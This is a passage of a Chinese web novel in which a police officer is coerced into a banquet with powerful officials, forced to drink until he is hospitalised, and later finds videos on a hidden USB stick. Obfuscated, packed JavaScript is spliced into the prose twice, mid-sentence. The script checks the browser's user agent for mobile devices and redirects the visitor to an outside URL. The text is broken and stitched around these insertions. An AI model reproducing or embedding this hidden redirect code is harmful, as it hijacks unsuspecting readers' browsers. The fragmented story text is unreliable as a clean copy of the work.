“是海龟,”暮火无语自己纠正这个干嘛,“你啊,听听重点吧。” 公冶没和暮火去地库,而是在大楼外的台阶上站了会儿,吹风。 他给邓烟雨打去电话,听到她的声音,他一天的疲惫散去。 “明早有课,我今天不去你那了。” 邓烟雨刚回公寓,打开平板,找出教材视频:“这段时间我要狂复习,还要找蔡蔡一起泡图书馆,我超忙,陪不了你哦。” 对面无应答。 “干嘛,不会不开心了吧?” “不是,”公冶跨下台阶,望着燃烧的落日,“我好烦啊。” “怎么啦?” “你稍微陪我说说话吧,五分钟也行。” 于是五分钟后,邓烟雨真就冷酷无情掐断了电话。 这个男人,仗着自己有点姿色,在五分钟内两次提出“今晚来我家吧”的色.诱一般的邀请,邓烟雨险些军心动摇。 不过他今天似乎特别烦躁,是工作上遇到大案子了吗? 邓烟雨放下手中的笔,想了想,把平板笔记收拾了,穿鞋出发去他家。 天色不早了,公冶准备回家,一回头撞上顾令萍,他又惊又警惕,下意识握紧手机:“你干什么?” 顾令萍居高临下地瞥他:“哦,现在都不准我来找你了?” 公冶沉默不言,狭长的眼底闪着幽微绿色,顾令萍轻笑:“今晚陪我参加一个饭局。” “我……”他避开视线,“我有事。” “你能有什么事,”顾令萍说,“反正今晚,她也不会来找你。” “……” “你看啊,渡莲,没人要你,也没人在乎你快不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579348|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快乐,你无处可去。” 他一动不动立在风里,用冷漠的情绪晾着她。 “不说话吗,不说话也好,我还是喜欢你安静的样子……但有些时候,一个点头,一声应答,是必须的,如果你聪明的话,此刻就应该笑着答应我,而不是做出这副表情惹怒我。” 夕阳下的风渗着彤红的凉,顾令萍伸手去拂他额前的头发:“我没怪你,别往心里去,过来,让我看看你,我有多长时间没正眼好好看过你了?” 忤逆她,就会死——公冶至今没忘这句话,任由她触碰,握拳不发。 “你在歌华,没有爱你的家人,没有关心你的朋友,因为你始终是外人,所有人都想撇下你,你没发现吗,”她的指甲划到他脸上,“在他们眼里,你就是个麻烦,累赘,用完即丢,随便一个人随便一个理由就能赶你走,我真奇怪,你还眷恋在这干什么,因为你父亲在这?” 她把手指插进他头发,说:“他只能在这,他走不了。” 烈焰般的霞光照耀肩章,公冶缓缓抬起头,怒火隐忍在湿润的眼眶里。 顾令萍露出了笑容:“提到你死去的父亲,不开心了?不要不开心,他死得多有意义,挣了个烈士,让你活了下来,你再没用,也是烈士遗属,受到国家的保护。” 国家的保护? 他没有一天感受到这五个字。 他从出生起就只看到不平等,只看到饿死街头的同类,被野狗分食,被人套了块“肉畜”的牌子,这就是祖国赠予他的爱意。清绝伸出伤痕累累的手将他眼睛蒙住,可他看得见,这在他眼里就是一场屈辱的折磨,有时候他甚至希望抵美协会直接打死他,他不想再看到任何同伴跪在棍棒与烈火中哭嚎。 可他不甘心,十七岁那年,他选择再次回到歌华,选择加入GS,他要法律给当年抵美运动所有受害者一个道歉。 这怎么可能。 熊小滚能救他出炼狱,已是最大的优容。 他才发现,谁都不能信任,十七岁的他以为拥有了选择,其实全为空谈,他能离开独玉分所的条件,就是被歌华公安吸收,最大程度为其所用。 无论去哪,都在被利用,都逃不掉。 公冶咬紧了自己的獠牙。 “是不是很痛心,可你又能怎么办,”顾令萍轻柔地说,“你太弱了,弱者除了愤怒咆哮,其他什么也做不到。” “跟我走。” 夜晚七点,勋元酒店。 一辆黑色古思特驶向环岛落客区,于正门停下,礼宾上来为他们开门。 车上下来两位。公冶被要求换了套会客的西装,打了温莎结,非常正式,顾令萍转身替他理了理衬衣领。 “见到人记得一一问好,往后你们会经常见面。” 他露出了额头,英气逼人,进出酒店的人皆在送来目光。有专人引他们上到高层包厢,这里环境淡雅,用了昂贵的香薰。 桌上菜也布好了,他们一到,人就齐了,公冶认出了两个公安部的官,顾令萍笑着给他介绍其余几位:“这位是万丰银行行长。这是龙地集团执行董事兼董事会主席,姓崔。” 崔瀚起身与公冶握手,笑赞:“果真年轻有为,顾院长,你有个好儿子。” 龙地是大型多元化投资企业,控股数家上市公司及不少子公司,和聚焦城市综合开发、高端制造的祁耀集团实力几乎匹敌。 这样的大佛来这,不可能是专程见他。 公冶轻微皱眉。 机关人员也在,人手一杯热茶。今晚,官商和谐是这张圆桌上最硬的菜。 “这是红壁军校现任校长,涂屏中将。” “这是国安顾问阮杰思先生。” “这两位是内阁议员……” 公冶和他们依次握手,唇角带笑,浑身僵硬,指尖凉透。 这些人的身份一个比一个狠,已近乎可怕到令人手软的程度,顾令萍即便认识他们,又有什么能力把他们请过来,组饭局,和他见面? “渡莲,坐吧。” 公冶坐下,侍者过来为他倒水,他都有点麻木,英俊的面孔在发白。 “影青警官喝什么酒?” “不好意思,我工作日不喝酒。” 他们笑着互换眼神,问落座的顾令萍:“他平常喝什么啊?” “香槟,”她说,“唐培里侬。” 公冶放在下面的手隐隐握紧,顾令萍和公安部的对视一眼,说:“你明天不用上班了,喝吧。” 接下去的用餐环节,这群把握国家命脉的精英们好像把他置在文火的炉子上慢慢翻烤,他们嘴边的话题敏感到足够致人滴下冷汗。公冶不想听进去,一块牛排切半天,最后才发现刀拿反了。 他瞥向左侧的角落,唯一没有被顾令萍介绍的女人,她穿戴端庄,却同样面容苍白,网纱帽下的眼眸沁着忧愁与恐惧。 公冶多看了几秒。 他见过她。 是上周六……扑他车的女人。 一用力,牛排陡然被切断,银色刀叉险些在盘子上刮出刺耳的摩擦声。 96. 烂醉 赛薇感觉有人在看自己,抬头,朝对面的位置望去。 公冶垂着眼睫,放下刀叉,面前食物似乎未动,顺手拿起的水杯挡住了一半表情。 赛薇疑虑地收回视线,放在腿上的手紧了一紧。 周围高谈论阔,泛出几声笑。公安部的两个和崔瀚等人附耳说了什么,一时间大家都满眼柔腻含笑,越过顾令萍,瞧向公冶。 这张酒桌上,形形色色之辈已聚拢成一团,像群黑漆漆的蚂蚁,分泌着蚁酸,盯上了某只落单的壁虎。 崔瀚对上他那双狭长的,带着点攻击性的绿色眼睛,下意识清嗓,把目光挪开了:“顾院长,离双紫星开幕没多少时间了,您还没考虑好?” 有人附和:“大家都是爽快人,顾院长也不必太瞻前顾后,是吧老孙?” 公安部一人推了推眼镜:“只要你们按规矩来,别给我们添乱。” “哈哈哈,老顽固,”涂屏笑了,说,“来影青警官,我敬你一杯。” “……” 这是干什么,聊完事就找他敬酒,搞得好像他愿意加入似的。 这场酒局既然来了,就没有全身而退的道理,再者,涂屏的酒也推不掉。公冶拿起杯子,随便抿了一口。 而这一口,直接让他接下来两个小时沦为了靶子,他被灌了很多,也低估了这瓶中辣液,玻璃杯里的度数随着液体翻荡、气泡翻滚急剧上升,意识到不对劲的时候,人与物在他眼里全成了高浓度的东西。 顾令萍翻开湿毛巾擦拭手指,对角落里的赛薇遥遥一笑。 “听说美食家酒量个顶个的好,影青警官这就不行了?我说老孙,你们那培训公美,这酒量培不培训啊?哈哈哈哈——” 众人哄笑,按着公冶的肩膀使劲摇了摇,让他起来喝,一群人围上来的气息令他窒息。 桌上的茶冷了,赛薇握住杯子,也忍住了眼眶里的东西。 她不明白自己为何要哭,这种事早该习惯了,如果是哭自己的命运,那更没必要。 赛薇不爱自己的姓氏,偏偏要一生依附于自己的姓氏,小的时候,她就常听父亲说,“辛克莱尔”这四个字代表着绝对——绝对的瑰望,绝对的尊荣,绝对的胜利者。 “赛薇,不要放弃,我们会摆脱今时的困苦,我们即使不伟大,也不会永远平凡下去。” 后来她连平凡地活着也成了奢求,她在日复一日经历人生的至暗时刻,那个逼仄的家中,只有满身酒气的丈夫和遍体鳞伤的自己,她想要个男孩,老天也没能如她所愿,也是那年,元首夫人得了个孙子,父亲去恭贺了,屈膝跪在一口襁褓面前,极尽笑容。 他们是旁支,生来低人一等,她认了。 政权更替那夜,她躲在破旧的木屋里,窗漏风,壁炉也是坏的,父亲登兰背对着她放下捡来的枯枝,说:“你身上的血……你杀了他?” 赛薇搂着熟睡的女儿,右手还握着血淋淋的剪刀,这把剪刀前不久刺向了丈夫的心脏。 “爸爸,新王没杀我们。” “是的。” “他没杀我们,甚至没过问我们。” “是的。” “不是因为一念之慈,而是我们被遗忘了,对吗?” 她的问题没得到答案,登兰静默地点燃火堆,枯枝在高温里断裂,澄澈的火光映射在赛薇憔悴却坚毅的眸中。 她需要机会,只要有,她可以等,无论付出何等代价—— 除夕,坠崖,爆炸,大雪……遥远的典则宫在夜色风火中撕裂成杂草。 无论牺牲谁。 她寻到了一线生机,枯萎的心田燃起一颗名叫“答案”的火种,从前不敢有的奢望如今有了,她不愿再下跪。 而此时此刻,这唯一的生机就在她对面任人宰割。 顾令萍永远能做到,把别人最在意最珍惜的东西一点一点毁掉。 赛薇浑身凉彻,她才知道原来当人情绪过于激动时,身体会失温,手脚会抖得无法自控。 “去洗把脸,”顾令萍对公冶淡声说,“别在桌上失态了。” 人出去了。崔瀚过来将白酒一起,给公冶的杯子咣咣满上:“顾院长,没趣了啊,正到精彩阶段呢,支走他做什么。” 孙主任呼了口烟,敲敲桌:“哎,一瓶哪够啊。” “够了吧。” “再开一瓶,我瞧他忍着。” 顾令萍理了理鬓发:“各位,还有女士在呢。” “哎哟,令萍,别介意,他喝高了说浑话,来,我们碰一杯。” 顾令萍欣然举起酒杯,露笑的双眸冷得结霜,将他们各个剜视一遍,一口饮尽杯中红酒。 公冶走进洗手间,把门关上。 胃在拧紧,排斥一切流向它的液体。他苦不堪言,目光所及之处皆摇摇欲坠涣散如水,奇怪的热意袭来,他从头到脚在发烫。 他用凉水洗了把脸,体内的燥热持久不退,他确定身体出现了异样,也知道那些人期望看到什么。 水龙头唰唰放水,打湿白净的瓷盆,公冶解开袖口,卷起袖子,洗了手,不紧不慢将歪斜的领带拉正。 聊天内容三句不离双紫星,却又独独不请祁泰,一个个躲在小房间里计划得有南有北。 在打什么主意? 还有公安部的人……他们想干什么? “啧。”公冶垂首,撑着洗手台,西装紧致地勾勒出背部线条。 再拖延下去会有人找过来,可他也不能放任如此不稳定的身体继续应付那帮恶趣味的高官。 他去看镜子里的自己,利爪和獠牙不可控地露了出来,沉重炽热的脉搏撞击着狂流的血液,他的身体急需降温。 兜里有镇血剂,他先打了一管安抚体内的躁动,往外走时,胸口依旧有股冰冷的余火。 长廊壁灯暗淡,四面如镜,他有点找不着北,绕了两遍才出来,出口站着一个人,是戴蕾丝网纱帽的女人。 赛薇扭头见是他,快步跑来,把他往电梯方向推了推:“快走。” 公冶欲言又止。 “你快走,”赛薇急得声音发尖,“别回去了,快走吧!” 这里离包厢隔了一个大转角,不远也不近,公冶看她一眼,未作犹豫,转身走了。 半小时后,酒店停车场,赛薇被顾令萍用力扇了个巴掌,她连连后退,整个人扑在古思特的车身上。 “我是个信守承诺的人?” “……是。” “我给你和他见面的机会,也给你和他说话的机会。” “……是。” 顾令萍一把扯起赛薇的头发,笑容狰狞:“是啊,我什么都给你了,那么你是如何报答我的,让他能做出这种事,他就算再叛逆也不会丢我的脸!” 赛薇嘴角渗血,畅快地笑了笑:“生气了?如你所见,我说了什么,你最清楚……” 顾令萍震怒到脸颊发抖。 “顾令萍,你以为我不敢吗,你以为……他不敢吗?” “你错了。” “你能怎么样,不就是杀了我吗,你动手啊。” “我不会害怕,为了格拉西亚,我什么都敢做。” “我什么都敢——!” 顾令萍拽起她的头,往硬而厚的车窗上猛砸,赛薇瘫软倒地,暗红的血液顺耳侧滑落。 司机闻声赶来,看着一声不吭在擦手的顾令萍,以及快失去意识的赛薇。 “文森,买张明早的机票,送她走。” “登兰先生问起来……” “你去告诉他,他女儿惹怒我了,”顾令萍咬牙切齿,一步步逼近司机,用力拍自己胸膛,“渡莲是我的,我养大的孩子,我养大的!只能是我的!我绝对不会还给他!别再来找我!” “登兰先生如果亲自来找您……” “那就杀了他。” “可……” “我说杀了他!”顾令萍眼中迸出嗜血的凶光,司机立即禁声,去扶地上的赛薇。 顾令萍坐进车内,手机快速翻到备注为“Lian”的联系人,拨过去,对面无人接听,她继续拨打,直打到对面关机。 顾令萍默了一瞬,骤然砸飞手机,在车内咆哮。 “师傅,停这就好……” 公冶掏了一沓钞票拍司机手里,司机师傅手一颤,那钱就哗哗溢下去,他傻呆呆地张嘴:“小哥你给多……” 他听也没听,下了出租车,往前走了百米左右,看到了住宅大门的光。 夜风舒畅,吹响了头顶的行道树,枝叶在月色下摇曳低垂,空气中散出露水的气息,他虽然醉了,感官却空前敏锐,他听到了不属于这个季节的虫鸣,也记得有人告诉过他,那种虫子本身不会叫,是飞动时身体与空气摩擦,才产生出咝咝的声音,让你有了虫鸣的错觉。 是什么虫子? 记不起来了。 轿厢内壁的镜子发凉,他靠着,感觉舒服许多,睁开眼发现电梯门已开。 没有走错楼,也顺利来到了家门口,密码一次成功解锁,拉开大门—— 接着,他的脚被低到不存在的门槛一绊,整个人飞了进去。 他重重落在地上,万幸脸没着地,就是姿势不太雅观,像小狗踩空摔下台阶屁股朝天给大家拜了个早年。 玄关灯亮了,他迟缓地动了动,坐回冰冷的地面,翻找口袋里的镇血剂。 酒劲再度翻上来,汹涌得厉害。 “掉哪了……?” 镇血剂找不到,他喃喃自语,手往上稀里糊涂抓了两下,好不容易碰到柜子借力起身,站直的瞬间,他脑子嗡的一下,清空了。 呆呆站了半天也不记得自己要干什么。 环顾一圈仍旧没想起来。 他也不着急,事已至此,先换鞋。 家里安静极了,沙发上的枕头和软毯被用过,茶几上放着一只青蛙水杯。 公冶走过去,像个三岁小孩茫然盯着青蛙杯,随后朝房间走,才迈出两步就踩到一坨软软的东西,这东西毫无征兆叫了声——叽呀! 他吓得缩回脚,愣了几秒,继续朝原位置踩去,那东西又叽呀一声大叫,公冶默默后退,坐进了沙发里。 他打开手电筒去照,是只毛绒小鸟玩具,猫咪的最爱。 毛绒小鸟本身不吸引人,可它会叫诶。公冶都打算绕过它了,没忍住又折返回来,捡起圆滚滚的小鸟,捏了一下。 挺好玩的,可以给纳税玩。 他完全不在乎这只鸟玩具为什么会出现在他家。 捏了会儿鸟,他忽然想起前面要找什么了——镇血剂。 他起身往房间去,刚握住把手,房门快他一秒打开,他握了个空,发醉的身体也没稳住,一下子抱住迎面出来的人朝里踉跄两步,再次狼狈地摔倒。 “啊!” 邓烟雨惊叫,身子往后仰直直倾倒下去,她心喊完了磕到后脑勺会不会失忆啊她不要失忆啊!再睁眼,她已被某人抱在怀里一动也不能动了。 某人的手垫在她脑后。 屋里大灯开着,放在被面上的平板没熄屏,讲课视频已结束。 她准备睡觉了,听到外头有鸟叫,下床正要去看看。猜到是他,不过她没料到这人童心未泯会玩那只鸟,那是她买给纳税的。 身上的人不动,邓烟雨拍拍他:“怎么才回来?你是……唔……”她力大如牛地推开人,捏住鼻子,“大哥你喝了多少啊,一身酒味。” 公冶艰难地撑起身,不好意思地对邓烟雨笑了笑,乖乖汇报:“不多的,就两……三……五瓶吧……” “……” 见她不说话,公冶歪头,去瞅她轻微泛红的脸:“你也喝酒了?” “没有。” “那你……脸好红啊。” “热的。” 邓烟雨盯了他许久,公冶说:“你看我干嘛?我很好看吗?” “嗯,你把额头露出来了,好好看。” 这回换他沉默了,用自己那烧干的CPU尽力破译她这句话。 “你压痛我了。” “哦,对不起。” 邓烟雨抽出压麻的小腿揉着,顺便打量他这一身考究的行头,目光落在饱满的温莎结上,它挡着他喉结至锁骨的线条。 “你这是去应酬了?” 公冶垂着头,手按在额前:“陪人喝酒。” “你工作日不是不能喝酒的吗?” “不喝……也不行。” “熊警官也在?” “不……顾院长,和……好多人……” “我扶你起来吧。” “没、没事,我自己可以。” 世界在他眼中飞速旋转着,他跟原地转八圈走直线的人一样,起到一半就地动山摇一脚蛇了出去。 扑通——公冶爽快地双膝跪地,正正好跪在邓烟雨面前,这是他今晚第二次拜年。 “我扶你起来吧哥。”邓烟雨加了声敬称,使出全力搀起人往床上送。 “别别别,稳住,往那,朝你十三点钟方向走。” 十三点? “你骂我……” “谁骂你了,傻狍子。” 她把人照床上一丢,麻利地给他西装敞开,领带松开,衬衫解开:“直线都走不了,还知道在客厅玩鸟,它有那么好玩?” “你就给纳税买了玩具,我的呢?” “你多大个人了还要玩具。” “我八十岁也要玩具。” 邓烟雨失笑:“我买了两只鸟,还有一只在包里,明天给你。” “真的吗?” “真的。” 公冶称心了,眼中浮现亮晶晶的醉意,露出小孩般的天真:“小雨,你知道达菲家族吗?” “知道,你提这个干嘛,想去迪士尼玩吗?” 他点点头:“我想……带你去看花车巡游,看玲娜贝儿。” “好啊。” “带你看……星黛露。” “我还要看饼饼,欧陆,托尼。” “我都带你看。” “我要买它们的包包。” “我都给你买。” “我要每周去一趟迪士尼,我要看一百场烟花秀。” “我一定……”他红着脸,傻乎乎地笑起来,“一定带你去看烟花。” 邓烟雨无非是在哄这醉鬼,顺着他往下说,讨点可有可无的承诺,可他总是在当真,这一笑宛如流星灼亮长夜,令她不知所措。 公冶说不出太多话,手背覆在脸上,忍耐酒精的折磨。邓烟雨探探他额头,去厨房冲了杯蜂蜜水,他喝了,还是难受。 “我去洗……你先睡……” “你别栽马桶里了。” 他这个状态下还知道洗漱,邓烟雨在外面警告他不许洗澡,他委屈地说你嫌我身上有味。 喝醉真就换了个人。 “我不嫌弃,我晚上陪你睡,你好了快出来。” 过了许久他也没出来,邓烟雨叉着手臂等在门口,他耗不起,开门了。 “我去书房睡,”她仿佛是什么毒物,公冶为躲她,人都贴墙了,“你也早点休息……” “你是不是难受?” “谁喝醉不难受,我半夜吐了你要骂死我,我走了,晚安。” 邓烟雨抬臂一挡。 公冶微红的面容满是紧张,邓烟雨一目了然,拉他去床边坐着,公冶见她蹲下来了,惊慌地按住她头:“这是干嘛。” “不是不舒服吗,一直嚷嚷。” “那你也不用这样。” “我们现在是男女朋友,有什么不可以?” “我现在不清醒。” “一加一等于几?” “等于三,我不清醒,别靠近我。” 邓烟雨也不强求,他的状态看起来确实喝高了:“确定不要?” 他甩了甩脑袋。 “那你自力更生吧,书房出门左转。”邓烟雨懒得再管,上床钻被子里,大灯一关,蒙头睡觉了。 他的世界还在转,带着一阵一阵华尔兹般晕眩的头疼,他想站起来,双腿却像断了一样静止,手倒是在发颤。 他自认没有醉过头,殊不知今晚的量让正常人来喝是要进医院的程度,邓烟雨也不清楚他喝了多少,只以为过一晚就没事了。 昏暗的环境里,床边小心翼翼传来一句:“你稍微扶我一下……” “不扶,谁叫你拒绝我,”邓烟雨困了,翻了个身,“我不想下床了,你就在这睡吧,书房又没床书还硬……” 扑通! 床边再度响起摔倒声。 强迫自己站起来的后果就是摔得膝盖发青,手掌也破了皮。邓烟雨听他摔倒后没声了,猛然掀被下床,把灯打开:“阿冶?” 底下唔了一声,之后再无应答。邓烟雨喊不醒他,慌了,在深夜十一点叫了救护车送医院。 急性酒精中毒,引发并发症,要输液。医生对此直摇头:“酒量再好也不能这么灌啊,真当自个儿酒仙转世喝不死么,这儿签字。” 邓烟雨手发软,甩了两下才握住笔。 公冶昏睡没多久醒来了,邓烟雨就坐在边上,见他醒了,眼泪似断线的珠子扑簌簌落下:“你要吓死我啊,怎么叫你都没反应,你知道你脸多白吗,跟死了三天一样,比上次发烧还可怕,医生说影响到心肌了,让你戒酒,你给我戒酒你听见没有!” 他还没崩溃,她先崩溃了,因是深夜,哇哇哭也得收着声,公冶一个大病未愈的人只能费劲坐起来给她擦眼泪:“对不起让你担心了,我没事。” “你没事个爪爪你没事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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熊小滚坐出去了,手机不断弹出消息,他打字回复,公冶说:“你去忙,我没事。” “都小事,我陪你待会儿。” 午后气候宜人,小区空阔宁静,高架大桥车流不息,潋滟江面有船驶过。 阳光晒亮了整座城市,微风拂过他额前的碎发,一只麻雀从他青翠见底的眸中闪过,这里的一切都春暖花开、生机盎然。 “展梦姐好像要结婚了。” “喂!”熊小滚血压飙升,“臭小子你存心的吧,没事找事提我前妻,我看你在外头真学坏了!” 这人反应太大,公冶有些意外:“我以为你不在意了。” “……”熊小滚哑口无言,半晌捋了把头发,有种不打自招的无力感。 “我可能不会聊天。” “不是可能,你就是。” 阳光照在他身上,像染了一树春色,他如同稚气未脱的少年,发自内心地笑了两声。 熊小滚生不出一点气了,眼神也不由得发软。 已经很久没看到阿冶笑得那么自在了,上一次这么笑应该是他真正十七八岁的时候吧,那时候的他吃了颗蜜瓜味的糖果就像得到了全世界,朗玉山教他拉小提琴,他闷声不响就考出一本证来。 被操纵了十一年的木偶义无反顾挣脱束缚它的丝线——那一年,他与崭新的自己拥抱了。 彼时简局上任不久,他和赵平功一致认为熊小滚会为了这孩子分心工作,没想到第一个揭竿而起的是“两耳不闻院外事”的朗玉山,更没想到会从朗院长口中听到“考公大干什么,那完蛋地方考去干什么”的旷世名言。 “那完蛋地方”——怎么品都不是什么好词,赵平功面上笑归笑,到底生气了,朗玉山再唾沫横飞也拗不过上级指示。后来工作忙起来,公冶也没时间再碰小提琴,那把手工琴是朗玉山专程飞了趟意大利,找制琴师定制的,也怨不得他时常埋怨公冶暴殄天物。 熊小滚收起回忆,问他:“东西吃的下去吗?” “能吃。” “嗯,”他点头,说,“四月十号晚上,我给你换班了。” “那天有什么事吗?” “双紫星开幕庆典。” 公冶现在听到双紫星就头疼,疼到想找个双紫星的对跖点去那儿待着。 “都收到恐吓信了还要如期举行?” “是啊……”熊小滚耸眉,“恐吓信你从哪儿听说的?” “我前两天见过祁宴,就祁泰他小儿子,跟我提了一嘴。” “噢……是他啊,你跟他还联系?” “一般不联系。” 祁宴是警局出了名的喝茶钉子户,熊小滚一言难尽,只好摸摸头,将话题绕回正事上:“祁泰老于世故的,哪会被一封恐吓信打乱章程,早年他码头那项目就出过纠纷,惹了一身脏水,名声差点臭了,也不见得他慌。” 此事公冶略有耳闻,后面查出是投标人之间恶意围标,连带勾了批贪官。那会儿他见过祁泰的大儿子祁曜,的确一表人才。 “这次恐吓事件是他爱人报的警,蒋淮同他交涉,他没当回事,只要求派出警力值守,蒋淮找我借了人,公美要去两组。” 公冶不动声色。 熊小滚说:“之前有人雇人在祁泰的项目下闹事,蒋淮抓了他们,顺藤摸瓜查到源头,那雇主叫居成克,跨国药企巨头领心制药CEO居梁允的堂弟,居成克手头注册的空壳公司有走账洗钱嫌疑,目前资金分散到多个海外账户上,我们查出其中有个叫乌吹的掮客,是南陆籍美食家。” “你说什么?”公冶皱眉,“这件事可大可小。” “我知道,正好居梁允也受邀出席双紫星活动,蒋淮打算四月十日晚宴结束将他们一网打尽,这里面多半牵扯了一桩巨额洗钱案,我得跟他一块查。” “南陆那边的美食家不好定性,这很危险。” “再危险也不能置之不理,而且祁泰也受到了人身威胁,他们对准祁泰不一定是竞争关系,或许有其他成分干预。” “一组非去不可?” “对。” “那就三个。” “三个?”熊小滚音调一转,瞟他一眼,“哪三个?” “特殊任务我不会算上极乐。” “就因为她要辞职?” “恐吓信并非空穴来风,里面不确定因素太多,我认为没必要让一个准备离职的人冒这种风险。” “提了离职,不是明天就要走,该工作还得工作。哎,简局说极乐就是被你惯坏的,我还在他面前给你打包票,如今看来倒有点迹象啊。” 公冶还在斟酌。 “她是战警,不要把人家想太弱。” “我没这么想,就是毒株要离职,我也不会安排他出‘特殊’。” “得得得,你就跟着朗玉山去搞艺术吧你,”熊小滚冲他挥手,“就你这颗心软的,成不了大气候,组员跟着你往后都是喝西北风的命。” 他叹气,熊小滚不肯让步,气鼓鼓地甩着脸。 公冶心知这事没跑了,平心静气地揶揄:“我知道,我们太优秀了,你离不开我们。” 熊小滚轻笑:“我当然离不开你们啊,极乐以前可是号称万年垫底王,如今这体能素质不是你一手带出来的吗,我舍不得她,大案子上出出力,说不定简局一高兴,就把之前的不愉快一笔勾销了。” 这话有头有尾,找不出破绽,公冶没道理再为了极乐跟他打太极。 他太了解熊小滚,老奸巨猾也是他家队长的一项特质。 两点前熊小滚回了单位,公冶靠在沙发上看了一下午的书,精神体力也恢复得差不多,闲来没事把家里卫生打扫了一下。 天色渐晚,他收拾好衣服出来,发现扫地机器人不见了,最后在沙发底下找到被卡住的它。 它嘴里咬着一块烂布似的垃圾,吸不进也吐不出。公冶扯出来,居然是邓烟雨抽奖中的公美娃娃,被地下乐园那场大火烧得焦黑难辨。 要是给小雨看到,不知她会有多伤心,还是扔了吧。 他走到垃圾桶边,刚要丢进去,手捏到娃娃的肚子,中间位置有硬物。他从娃娃破损的肚子裂口伸进去,拿出一个U盘。 U盘是旧的,边角有磨损。 他怔怔盯着,思绪万千。 太阳落山落得极快,原本明亮开阔的客厅一下子褪去色彩,被余烬一般的光芒低靡笼罩。 公冶从书房找出一台不常用的笔记本电脑,开机后插入U盘。 电脑成功识别,U盘文件夹里存放着四个视频,他依次将它们点了开来。 97. 哀达·海默 视频开头是一句话: 2051年9月1日,8:30AM,肯明湾,哀达举止异常(一) …… 镜头摇晃、切换、一阵炫目,伴随海浪声涌来,画面刹时波光粼粼,一望无际的蔚蓝海域上仿佛洒满了自由与希望。 “哀达,看这里!” 镜头持续晃,有人拿着相机在走,拍到了鞋头。一个金发小女孩站在风大的甲板上,听到身后呼唤,回头绽开灿烂的笑容,伸出手:“小熊给我!” 镜头递到了哀达的手中。 画面毫无预兆一转,视角已朝向大海,放眼望去世界异常空荡,周遭没有一块供人栖息的陆地,雪白的船头劈开澎湃的水量,匀速前进着。 “咦?” 视频录进了哀达的声音。 镜头对准左侧,底下有不可丈量的生物在移动过来,不一会儿,厚重海面掀起温柔的巨浪,水中慢腾腾破出一头庞然大物,体表犹如一艘坚固的银舰,它向上探起的瞬间,整片海域的重量从它背上动荡地卸落。 它来海面换气,喷完水回到海里,悠然地自船底游过。 “嘿,去哪?” 哀达的镜头追着它,它早已远去,只剩下明亮翻涌的海水。 “宝贝,那是蓝鲸,地球上体型最大的生物。” “它没有虎鲸漂亮。” “是吗,不过妈妈觉得蓝鲸也很漂亮。” “我没说它不漂亮,它比座头鲸漂亮,”哀达说,“座头鲸长满了藤壶,我无法接受,它不一样,它的皮肤干净光滑,这是健康的一种象征吗?” 对话安静了几秒,女人说:“你别再给孩子看你那些书,她现在说话奇奇怪怪的。” 视频里传来一名男子爽朗的笑声:“这不很好吗,哲学家。” “我不期望我的女儿以后成为什么哲学家。” “哀达,”男子喊了声,“座头鲸长满藤壶,你不喜欢,那如果蓝鲸也长满藤壶出现在你面前,你会讨厌它吗?” 哀达说:“那我就能接受了。” “为什么?” “因为,它们都一样了。” 远处若有若无地泛来一声悲鸣,低沉回荡,陷入深海,冰蓝的荧光倒映在公冶的瞳仁中。 2051年9月16日,2:00PM,那落迦雨林,哀达举止异常(二) 镜头对着草丛,草丛里有一只死掉的知更鸟。 它的身体被砸扁了,张开的鸟喙边缘有圈不明黏液,公冶见过这种死法,视频里的这只鸟也十分巧合地死在一株大树下。 “哀达——” “哀达——你在哪——” 公冶以为哀达会装聋作哑,可她却及时回应了:“我在这!” 她和父母以及舅舅汇合,从始至终没有掩藏地上知更鸟的尸体,不过林地植被茂密,大人们也没留意到这具小小的尸体。 大伙继续朝前走,在下午三点半发现了一只凤蝶,它停在马鞭草上,对周围并不警惕。 “太美了,现在可是很少能见到,”舅舅赞叹着,唤来哀达,“猜猜看,这叫什么?” 哀达凑近:“枯叶蝶的朋友,绿叶蝶。” “哈哈哈,”舅舅大乐,说,“先让我拍一张,回头再给你科普。” 舅舅告诉她,这叫绿鸟翼凤蝶,是印尼的国蝶,品种珍稀,他们眼前的这只是雄蝶。 “呵呵,它肚子胖胖的,你看它的翅膀,好动人的绿色,飞起来定会美到无与伦比。” “修,你过来,我们好像走错路了!” “什么?”舅舅起身,镜头追着他跑了几步,蓦然停住,“哎唷我就说别让我姐带路,哀达带路都比较放心些!” “修,我听见了,回去你没酸橙派吃了。” 镜头往下移动,随之响起哀达的呼吸声,那只硕大的绿鸟翼凤蝶不知何时飞了过来,正探出墨黑细长的足,往哀达的胳膊上爬。 它浓绿的彩色大翅膀一合一扇,似乎是为了维持平衡,胖鼓鼓的小肚子几乎拖垂着,轻蹭哀达的肌肤。 大人们商量了一阵,喊了哀达原路返回,女人还在埋怨他们不看路,舅舅已经拉着姐夫讨论起肯明湾搁浅的巨鲸尸体的新闻了。 “哀达,走了。” “好。” 哀达拍拍手,跟上他们,镜头一闪而过,公冶按了暂停。 地上有些模糊的绿色碎片。 公冶看清后,手指微不可察地一颤。 那只绿蝶被完美地肢解了,头胸腹四散分离,翅如碎纸,蹭过哀达手臂的胖肚子像条毛毛虫卷曲在泥土中,只有一节细长的足完整地露在泥外。 2051年10月24日,9:10AM,钦安寺 老椴树枝叶如伞,掩映着古朴的垂花门,哀达跟随母亲进殿,殿内有一座顶天立地的佛像,神态庄严。 哀达抱着小熊四处逛,镜头偶尔扫到母亲和住持,母亲在掩面轻泣。 “哀达,你过来。” 